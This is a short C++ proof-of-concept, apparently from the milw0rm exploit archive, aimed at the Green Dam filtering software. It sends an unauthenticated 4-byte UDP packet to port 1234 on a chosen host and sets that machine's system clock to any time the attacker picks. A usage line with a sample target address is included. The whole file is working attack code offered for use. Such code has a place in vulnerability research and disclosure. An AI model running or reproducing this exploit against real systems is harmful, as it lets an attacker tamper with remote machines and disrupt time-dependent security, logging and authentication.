46 lines
No EOL
1.5 KiB
C
46 lines
No EOL
1.5 KiB
C
// Green Dam listen on udp port 1234 and wait for the 4 bytes time value
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// We can send some bytes to change the time of the dest system
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// testgreendam[at]gmail.com
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#include <iostream>
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#include <boost/asio.hpp>
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#include <boost/date_time.hpp>
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int main(int argc, char* argv[])
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{
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try
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{
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if (argc != 3)
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{
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std::cerr << "Usage: testgd <host> <time_string>" << std::endl;
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std::cerr << "Example: testgd 192.168.0.12 \"2009-06-03 16:00:00.000\"" << std::endl;
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std::cerr << "Timezone is not calculated, please do it by yourself." << std::endl;
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std::cerr << "testgreendam[at]gmail.com" << std::endl;
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return -1;
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}
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using boost::asio::ip::udp;
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boost::asio::io_service io_service;
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udp::socket s(io_service, udp::endpoint(udp::v4(), 0));
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udp::endpoint dest(
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boost::asio::ip::address::from_string(argv[1]), 1234);
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boost::posix_time::ptime start(boost::gregorian::date(1900,1,1));
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// (2008-1-1) -- (2010-12-31)
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boost::posix_time::ptime end(boost::posix_time::time_from_string(argv[2]));
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boost::posix_time::time_duration sec_count = end - start;
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unsigned int i = htonl(sec_count.total_seconds());
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s.send_to(boost::asio::buffer((char*)&i, 4), dest);
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}
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catch (std::exception& e)
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{
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std::cerr << "Exception: " << e.what() << std::endl;
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return -1;
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}
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return 0;
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}
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// milw0rm.com [2009-07-01]
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